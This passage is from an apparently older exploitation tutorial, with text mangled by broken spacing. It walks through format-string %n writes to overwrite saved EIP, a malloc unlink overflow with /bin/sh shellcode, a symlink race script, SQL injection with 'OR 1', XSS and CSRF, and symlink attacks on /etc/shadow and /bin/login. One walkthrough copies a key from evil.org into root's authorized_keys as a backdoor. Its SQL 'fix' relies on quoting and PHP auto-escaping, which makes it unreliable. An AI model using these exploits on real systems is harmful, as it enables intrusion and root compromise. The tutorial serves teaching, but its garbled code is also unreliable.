What we really need in this program is the ability to overwrite the saved EIP, but there isn't a way to make the format string 
grow in memory. Take a moment to recall what we did with printing out any location of memory. We were able to create 
arbitrary pointers and read from them. Well it just so happens that there is another format specifier that lets us write to a 
pointer. That specifier is %n, and writes to the pointer currently being pointed to the number of characters printed out so far. 
What use is that? Well we do control how many characters printed out so far with the %###d format specifier. That alone isn't 
going to let us change the saved eip to something useful. EIP is usually a number well into the millions. printf just isn't going to 
work that way for us. The trick is to issue multiple writes that overlap in a manner that is beneficial to us. Remember that little 
endian notation you have to write all the addresses in? Now it will benefit us. Each time we will increment the location we write 
to by one byte, with the end result of four consecutive bytes that correspond to the least significant byte of each int written. This 
sounds somewhat complicated, so just take a look at this picture.  

saved ei p 
41414141 
08000000  f i r st  wr i t e 
  04000000 second wr i t e 
    dd000000 t hi r d wr i t e 
      ee000000 f our t h wr i t e.  
  
0804ddee r esul t  i n saved ei p.  

Now that looks something more like a real return address. So how will we exploit it? We'll create 4 pointers that correspond to 
the addresses we wish to write to, and then we will carefully control the last byte of the number of characters we have written.  
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A sampl e expl oi t  st r i ng.  
 
AAAABBBBCCCCDDDD%08x%08x%08x%08x%08x%08x%08x%n%8d%n%10d%n%80d%n 

This exploit string has 4 pointers to do the 4 writes, some %x statements to load the first pointer so %n gets it as an argument. 
Also included are %###d statements to control the number of characters printed out. We need to increase the numberprinted 
% 256 to the byte we want to write. In the case where numberprinted % 256 is less than the number for the byte we wish to 
print, then we will just do %###d where ### is the number we need to add in order to get to the target byte. In the other case 
where we have already passed it, we must add enough to wrap around back to the target byte in modulo arithmetic.  

Let's make some minor modifications to the program to enable easy exploitation.  

#i ncl ude  
#i ncl ude  
 
voi d f unc1( )  
{  
 pr i nt f ( " Hel l o Wor l d! n" ) ;  
 exi t ( 1) ;  
}  
 
i nt  mai n( i nt  ar gc,  char  * *  ar gv)  
{  
        i nt  x;  
        char  *  env = get env( " VAR1" ) ;  
        char  st z[ 1024] ;  
        i f  ( env == 0)  
                r et ur n 0;  
        pr i nt f ( " x:  %xn" , &x) ;  
 pr i nt f ( " f unc1:  %xn" , f unc1) ;  
        st r ncpy( st z, env, 1024) ;  
        st z[ 1023]  = 0;  
 
        pr i nt f ( env) ;  
}  

Once again let's find the offset between x and eip. 

$ gdb a. out  
GNU gdb 6. 1. 1 
Copyr i ght  2004 Fr ee Sof t war e Foundat i on,  I nc.  
GDB i s f r ee sof t war e,  cover ed by t he GNU Gener al  Publ i c Li cense,  and you ar e
wel come t o change i t  and/ or  di st r i but e copi es of  i t  under  cer t ai n condi t i ons.
Type " show copyi ng"  t o see t he condi t i ons.  
Ther e i s absol ut el y no war r ant y f or  GDB.   Type " show war r ant y"  f or  det ai l s.
Thi s GDB was conf i gur ed as " i 486- sl ackwar e- l i nux" . . . Usi ng host  l i bt hr ead_db l i br ar y " / l i b/ l i bt hr ead_db. so. 1" .
 
( gdb)  br eak mai n 
Br eakpoi nt  1 at  0x8048457:  f i l e t 10. c,  l i ne 14.  
( gdb)  r un 
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St ar t i ng pr ogr am:  / home/ user / a. out  
 
Br eakpoi nt  1,  mai n ( ar gc=1,  ar gv=0xbf f f f 594)  at  t 10. c: 14 
14              char  *  env = get env( " VAR1" ) ;  
( gdb)  pr i nt  &x 
$1 = ( i nt  * )  0xbf f f f 53c 
( gdb)  i nf o r egi st er s ebp 
ebp            0xbf f f f 548       0xbf f f f 548 
( gdb)  qui t  
The pr ogr am i s r unni ng.   Exi t  anyway? ( y or  n)  y  
$ 

0x548-0x53c = 0xc or 12 decimal. So we should add 12+4 to the address of x to get to the saved eip. Let's apply this.  

$ expor t  VAR1=` per l  - e ' pr i nt  " AAAABBBBCCCCDDDD%08x. %08x. %08x. %08x. %08x. %08x. %08x. %08x. %08x. %08x. %08x" ' `
$ . / a. out  
x:  bf f f f 54c 
f unc1 8048424 
AAAABBBBCCCCDDDDbf f f f e44. 00000400. 00000000. 00000005. 400008f c. 40000258. 40000000. 41414141. 42424242. 43434343. 44444444
$ 

We'll modify the string to pointers to 0xbffff54c+12+4 and (+1,+2,+3). We'll also change the last four specifiers to %n. 

$ expor t  VAR1=` per l  - e ' pr i nt   
" x5cxf 5xf f xbf x5dxf 5xf f xbf x5exf 5xf f xbf x5f xf 5xf f xbf aaaaaaaaa%08x. %08x. %08x. %08x. %08x. %08x. %08x. %n. %n. %n. %n" ' `
$ . / a. out  
x:  bf f f f 54c 
f unc1 8048424 
Segment at i on f aul t  ( cor e dumped)  
$ gdb . / a. out  cor e 
GNU gdb 6. 1. 1 
Copyr i ght  2004 Fr ee Sof t war e Foundat i on,  I nc.  
GDB i s f r ee sof t war e,  cover ed by t he GNU Gener al  Publ i c Li cense,  and you ar e
wel come t o change i t  and/ or  di st r i but e copi es of  i t  under  cer t ai n condi t i ons.
Type " show copyi ng"  t o see t he condi t i ons.  
Ther e i s absol ut el y no war r ant y f or  GDB.   Type " show war r ant y"  f or  det ai l s.
Thi s GDB was conf i gur ed as " i 486- sl ackwar e- l i nux" . . . Usi ng host  l i bt hr ead_db l i br ar y " / l i b/ l i bt hr ead_db. so. 1" .
 
Cor e was gener at ed by ` . / a. out ' .  
Pr ogr am t er mi nat ed wi t h s i gnal  11,  Segment at i on f aul t .  
Readi ng symbol s f r om / l i b/ l i bc. so. 6. . . done.  
Loaded symbol s f or  / l i b/ l i bc. so. 6 
Readi ng symbol s f r om / l i b/ l d- l i nux. so. 2. . . done.  
Loaded symbol s f or  / l i b/ l d- l i nux. so. 2 
#0  0x5b5a5958 i n ?? ( )  
( gdb)  qui t  
$  

So far we have succeeded in modifying eip, now lets change those values of 0x58 0x59 0x5a 0x5b to 0x24 0x84 0x04 0x08 (or 
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the address of func1). First 0x58 + 0xCC = 0x24 mod 256d. 0xCC is 204 in decimal, so we will add %204d to the string right 
before the first %n. and remove the previous %x. and add the number of characters needed to balance the string according to 
the 8 fewer characters that are lost from the %08x. This is the tedious part, but continued computation will lead to the correct 
address being written into the saved eip.  

The best source of information on format strings is scut of TESO's paper at http://www.cs.ucsb.edu/~jzhou/security/formats-
teso.html 

Heap/Malloc Overflows

One of the more advanced techniques does not directly overflow the memory, but uses overflows a structure, which then 
influences the execution of the program. The technique is the malloc overflow. It is not the subject of this paper to discuss how 
exactly malloc works, but the general idea is it allocates memory upon request, and frees it up when you say you are done 
with it. One of the things that is involved in this chunked allocation is making sure free chunks don't turn into fragments. The 
basic layout of a chunk is the following.  

pr evi ous_si ze ( 4byt es)  
s i ze ( 4byt es)  
f or war d_poi nt er  ( 4byt es)  
r ever se_poi nt er  ( 4byt es)  

When a block is allocated, only previous_size and size are in use. Basically previous_size and size allow the system to 
traverse the physical blocks in the memory, allocated or not. Subtracting previous_size from the address of the current block 
gets you the previous block, adding size to this one gets you the next. When a block is freed, the forward and reverse pointers 
point to other blocks that are also free. The way the free block list is laid out is usually a doubly linked list. This brings up one 
last operation, which is coalescing. Whenever a block is freed, and the next block is also free, then the system will put the two 
together into one larger free block. During this operation the second block must be removed from the free list, which is the 
standard algorithm for removing a node from a doubly linked list.  

One trick of exploiting malloc is that if you can convince it that the next block is free, and that block after that has 
PREV_INUSE set to 0, then it will run an algorithm that ends up using prev and next pointers that you are able to specify for 
this list removal proceedure. The end result is that you can write the value of reverse_pointer to the address of forward_pointer 
- 12 (-12 for the offset of the chunk size). The following is an example of how such memory manipulations make execution of 
code possible. A remote exploitation would overwrite a function pointer in the dynamic linker or a saved eip instead of the local 
function pointer. 

#i ncl ude  
#i ncl ude  
 
char  shel l code[ ]  = 
 " xebx0appssssf f f f "  
 " xebx1f x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"  
 " x89xf 3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"  
 " x80xe8xdcxf f xf f xf f / bi n/ sh" ;  
 
voi d bar ( )  
{  
 pr i nt f ( " Not  Today! n" ) ;  
 exi t ( 1) ;  
}  
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i nt  mai n( i nt  ar gc,  char  * *  ar gv)  
{  
 voi d ( * f pt r ) ( voi d) ;  
 i nt  *  bl ob;  
 i nt  *  bl ab;  
 
 f pt r  = bar ;  
 
 bl ob = mal l oc( 1024) ;  
 bl ab = mal l oc( 1024) ;  
 
 * ( bl ab- 2)  = ~0x1;  
 * ( bl ab- 1)  = - 4;  
 * ( bl ab)  = &f pt r  -  3;  
 * ( bl ab+1)  = shel l code;  
 
 f r ee( bl ob) ;  
 f pt r ( ) ;  
 f r ee( bl ab) ;  
}  

Once you find such vulnerable code, the standard method of overwriting eip or even a function pointer in the dynamic linker will 
work for taking control of execution. One thing to be aware of is in the block that is getting freed, the first 8 bytes will be 
overwritten by forward and reverse pointers. This is only a taste of the topic, which is limitless in possibilities for exploitation 
and creativitiy. For a more detailed discussion on the topic see http://www.phrack.org/show.php?p=57&a=8  

Race Conditions

#i ncl ude  
#i ncl ude  
#i ncl ude  
 
i nt  mai n( i nt  ar gc,  char  * *  ar gv)  
{  
 st r uct  st at  sbuf ;  
 i nt  r et ;  
 
 r et  = l st at ( " / t mp/ l ockf i l e" , &sbuf ) ;  
 i f  ( ! S_I SLNK( sbuf . st _mode) )  
 {  
  chown( " / t mp/ l ockf i l e" , get ui d( ) , get gi d( ) ) ;  
 }  
 unl i nk( " / t mp/ l ockf i l e" ) ;  
  
}  

At first glance this code appears to prevent the attack where someone makes /tmp/lockfile a symlink somewhere else, however 
there is a special case here. What happens if someone creates a link called /tmp/lockfile between the time lstat returns and 
when chown() is called? This subtle problem is the race condition. 
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Creating an exploit for this program is not too difficult. All we have to do is keep running a program to create a link to another 
file over and over, and another to run this program. This isn't too difficult with a small shell script.  

#! / bi n/ bash 
 
whi l e t r ue;  do  
 l n - s / t mp/ vi ct i m / t mp/ l ockf i l e& 
 . / a. out & 
done 

After running this script for a while it will eventually chmod the victim file. In fact many things that are similar suffer from the 
same problem. The following program suffers from a race condition flaw. The problem lies in that the sig function can be 
interrupted and run again, which is incompatible with the malloc and free model of memory management.  

#i ncl ude  
#i ncl ude  
 
voi d *  buf 1,  *  buf 2;  
 
voi d s i g( i nt  t i nt )  
{  
 f r ee( buf 1) ;  
 f r ee( buf 2) ;  
}  
 
i nt  mai n( i nt  ar gc,  char  * *  ar gv)  
{  
 s i gnal ( SI GHUP, si g) ;  
 s i gnal ( SI GTERM, si g) ;  
 s l eep( 100) ;  
}  

SQL Injection

SQL injection attacks are the result of turning a data stream into a command stream. SQL commands are issued to the server 
in the form of queries. SELECT * FROM users would be a query. The problem arises whenever an attacker can insert their 
own additions to a command. A sample vulnerable query would be SELECT * FROM users WHERE id = $VAR. Let's take a 
look at a vulnerable script. 

The dat abase.  
 
Wel come t o t he MySQL moni t or .   Commands end wi t h ;  or  g.  
Your  MySQL connect i on i d i s 21 t o ser ver  ver si on:  4. 0. 18 
 
Type ' hel p; '  or  ' h'  f or  hel p.  Type ' c '  t o c l ear  t he buf f er .  
 
mysql > use hn;  
Readi ng t abl e i nf or mat i on f or  compl et i on of  t abl e and col umn names 
You can t ur n of f  t hi s f eat ur e t o get  a qui cker  st ar t up wi t h - A 
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Dat abase changed 
mysql > descr i be i t ems;  
+- - - - - - - - - - +- - - - - - - - - +- - - - - - +- - - - - +- - - - - - - - - +- - - - - - - - - - - - - - - - + 
|  Fi el d    |  Type    |  Nul l  |  Key |  Def aul t  |  Ext r a          |  
+- - - - - - - - - - +- - - - - - - - - +- - - - - - +- - - - - +- - - - - - - - - +- - - - - - - - - - - - - - - - + 
|  i d       |  i nt ( 11)  |       |  PRI  |  NULL    |  aut o_i ncr ement  |  
|  scor e    |  f l oat    |  YES  |      |  NULL    |                 |  
|  numvot es |  i nt ( 11)  |  YES  |      |  NULL    |                 |  
|  body     |  t ext     |  YES  |      |  NULL    |                 |  
+- - - - - - - - - - +- - - - - - - - - +- - - - - - +- - - - - +- - - - - - - - - +- - - - - - - - - - - - - - - - + 
4 r ows i n set  ( 0. 01 sec)  
 
mysql >  

<? 
 
mysql _pconnect ( " l ocal host " , " user " , " pass" )  or  di e( mysql _er r or ( ) ) ;  
mysql _sel ect _db( " db" )  or  di e( " 2:  Coul d not  sel ect  dat abase.  
" ) ;  
 
$var 1 = $_POST[ ' var 1' ] ;  
i f  ( $var 1)  
{  
 $quer y = " SELECT *  FROM i t ems WHERE i d=$var 1" ;  
 $qr h = mysql _quer y( $quer y) ;  
 i f  ( $qr h)  
 {  
  $nr ows = mysql _num_r ows( $qr h) ;  
  echo $nr ows;  
 }  
}  
 
 
?> 
 

 

 
 
 
 

From this improperly written PHP page, we can specify an integer to lookup that ID. If this was login code, it would probably 
check to see if the number of rows returned was > 1 or equal to 1. In order to do this we could make the SELECT statement 
grab more rows by always evaluating to true. We would do this by appending OR 1 to the end of the query. So on the input 
form we would put 5 OR 1. The entire query would be FROM items WHERE id=5 OR 1, which would select every row in the 
table.  

The correct way to prevent such an attack of adding additional parts to the query would be to tick all the variables with single 
tics. Here is the script again, but written without the flaw. 

Submit Query
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<? 
 
mysql _pconnect ( " l ocal host " , " user " , " pass" )  or  di e( mysql _er r or ( ) ) ;  
mysql _sel ect _db( " db" )  or  di e( " 2:  Coul d not  sel ect  dat abase.  
" ) ;  
 
$var 1 = $_POST[ ' var 1' ] ;  
i f  ( $var 1)  
{  
 $quer y = " SELECT *  FROM i t ems WHERE i d=' $var 1' " ;  
 $qr h = mysql _quer y( $quer y) ;  
 i f  ( $qr h)  
 {  
  $nr ows = mysql _num_r ows( $qr h) ;  
  echo $nr ows;  
 }  
}  
 
 
?> 
 

 

 
 
 
 

Although ticing a variable is all you need to do with PHP and mysql, other languages don't have the security features that PHP 
has for mysql. You might have been thinking on the same lines as so many others about the ticing. What happens if they tic 
the variable, and I untic it. Say the query is SELECT * FROM items WHERE id = '$var1'. What if I set $var1 to be 1' OR 1. In 
PHP this will have no effect because PHP will automatically escape your ' so it has no effect on the query. Other languages 
don't do this automatically and they rely on the programmer knowing all the ways the query can be altered.  

A more advanced technique involves using subqueries. The tactic here is to wrap in another query into the one you are 
modifying. Not all SQL servers support this, so if the server is MySQL, it will need to be version 4.1 or greater. Most SQL 
servers support it, and it is a very powerful technique for extracting data. The only challenge is that you must comply with the 
type constraints of the query. So if the query is set to return a record, you must return the same kind of record. In a field, you 
must return the same type that the record is expecting.  

A good article on SQL injection is located here http://www.securiteam.com/securityreviews/5DP0N1P76E.html  

Cross Site Scripting

Web browsers provide an interesting opportunity to attack users. If an attacker wants access to joeuser's bank account at 
xyzbank.com, then all he has to do according to the principles of exploitation is to be able to run code as joeuser. Whenever 
joeuser is exploited, the attacker will have full control over joeuser's xyzbank.com account. To the observant reader who may 
have thought of this by this time, an easy opportunity is provided. That opportunity is joeuser's webbrowser. 

Internet browsing software has advanced very quickly, and now most software is so complicated that fully working programs 
can easily be created in webpages with java and vbscript. Add to this the ability to communicate with the local file system and 

Submit Query
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the network through automatic link loading via IMG tags, or java script links, and you have the power to do almost anything. 
One of the real points of weakness, and power to the attacker, is the fact that FORM submissions are just regular requests.  

Site Attacks

The most direct form of cross site scripting is finding a way to insert commands into a website that already lets users add 
content to it. In this case if the user can craft a set of specially designed code for that site, they can make visitors run code that 
could do anything to the page, make them load other page, submit forms, send back data to the site, or just about anything 
imaginable. The most common use of this is filling out forms. An attacker will craft a page such that it has a form setup in it, 
and it will be submitted with javascript. To the victim, they will barely notice anything, until they see they posted an 
embarrassing message on a board, bought thousands of dollars worth of merchandise, or divulged confidential information on 
a private website. The characteristics of this attack are the additions to the actual webpage, and the ability to prevent the 
attack by filtering data on both ends.  

Client Attacks

The less direct method of attack is to create links for a user to press. The trick here is in how forms are created and 
processed. For a form using the GET method, there is nothing to stop someone from creating a link that sends variables to it. 
The webserver has no way to differentiate the difference between a submitted form and a clicked link. To it a form with the 
field test set to value is exactly the same as file.php?test=value. Although this was in the form of a GET request, which is 
differentiable from a POST request, it is only a trivial modification to make a form submit something to any site. This attack 
does not occur by modifying the server page. Detection is thus more difficult, and the server must be ready to handle the case 
where requests are not correctly referred.  

Site attacks of cross site scripting are fairly well documented in this FAQ http://www.cgisecurity.com/articles/xss-faq.shtml. 
Client attacks of linking to filled out forms are less documented. 

Link Vulnerabilities

As if security wasn't hard enough having to worry about buffer overflows, correct usage of format strings, possible timing 
issues, and validating input. What if you went to write to a file, but you weren't really writing to it? Unfortunately that is all too 
easy to occur in a system. The problem is the ability to form a link to another file. In UNIX and Linux they come in two 
varieties, hard and soft. Hard links are actually part of the filesystem. With it there is actually a new pointer to all the blocks that 
the file is stored in, and there is not a way to tell that it is a link. Soft links on the other hand are actually just files with the full 
path to the linked file in them. Although the two are vastly different, they operate in the same manner under most 
circumstances. The difference is the functions that allow a program to check if a file is a link do not work with hardlinks. 
Protecting against softlinks is a job for the application. Hardlinks must be protected in the kernel by disallowing users to link to 
files they don't have access to.  

A major piece of software is vulnerable to this flaw, that major utility is the ch* package. The problem with all of the ch* utilities 
is that they default to following links, even when operating recursively. It might not sound like such a bad thing initially, but 
when you realize that a chown -R user ~user can fatally compromise your system, it does start to sound like a bad thing. A 
simple link to /etc/shadow with ln -s /etc/shadow ~user/testfile by user would let him take ownership of the shadow file, if he 
could convince the administrator to run a similar command.  

Any software that is run on files that may have been created by another user are subject to similar abuses. The most common 
directory for this is /tmp, because everyone uses it, and everyone can write to it. Combining the two of those, it means that 
other users can potentially provide input to a program you are running. In order to check a file to see if it is a link, you should 
open it and use its fd for all the checks you wish to run, including fstat to determine if it is a link. If you do not use the f* calls 
then you are going to open the program up to a race condition between the time you check the file, and when you reopen it.  

CHOWN - Change Ownership
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A sample exploitation of the ch* utilities follows here. 

$ l n - s / et c/ shadow t est f i l e 

User calls administrator, says that that they need ownership of all files in their directory because the webserver wrote back 
some files owned by www as part of their CGI script. The administrator is bothered but just does the job quickly to get the user 
off the phone.  

# chown - R user  ~user  

User realizes that he now can do whatever he wants with the shadow file, so he copies down the root shadow entry, changes 
it to match his. He then logs in as root, and changes back the root shadow entry to what it was before, and backdoors the 
system. Attacker has chown'ed system. 

$ gr ep r oot  / et c/ shadow 
$ gr ep user  / et c/ shadow 
$ vi  / et c/ shadow 
$ su 
passwor d:  
# scp user @evi l . or g: sshkey .   
# cat  sshkey >> ~r oot / . ssh/ aut hor i zed_keys 
# r m sshkey 
# v i  / et c/ shadow 
# chmod r oot  / et c/ shadow 
# r m ~user / t est f i l e 
# exi t  
$ 

Attacking the tools

#i ncl ude  
 
i nt  mai n( i nt  ar gc,  char  * *  ar gv)  
{  
 FI LE *  f d;  
 i f  ( ar gc <= 1)  
  exi t ( 1) ;  
 i f  ( ( f d = f open( " / t mp/ t ool . t emp" , " a" ) )  == NULL)  
 {  
  exi t ( 1) ;  
 }  
 f pr i nt f ( f d, " %s" , ar gv[ 1] ) ;  
 f c l ose( f d) ;  
 r et ur n 0;  
}  

Give the tool above, if the attacker creates a link called /tmp/tool.temp to some other file, he can get the administrator to 
append data to it. Depending on what file the attacker links to, and what gets appended this could either crash the system, or 
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even give the attacker root. The following is an attack on the tool.  

$ l n - s / bi n/ l ogi n / t mp/ t ool . t emp 

The attacker waits for the administrator to run the tool. As soon as he does, /bin/login is corrupt, and the system is unusable. 
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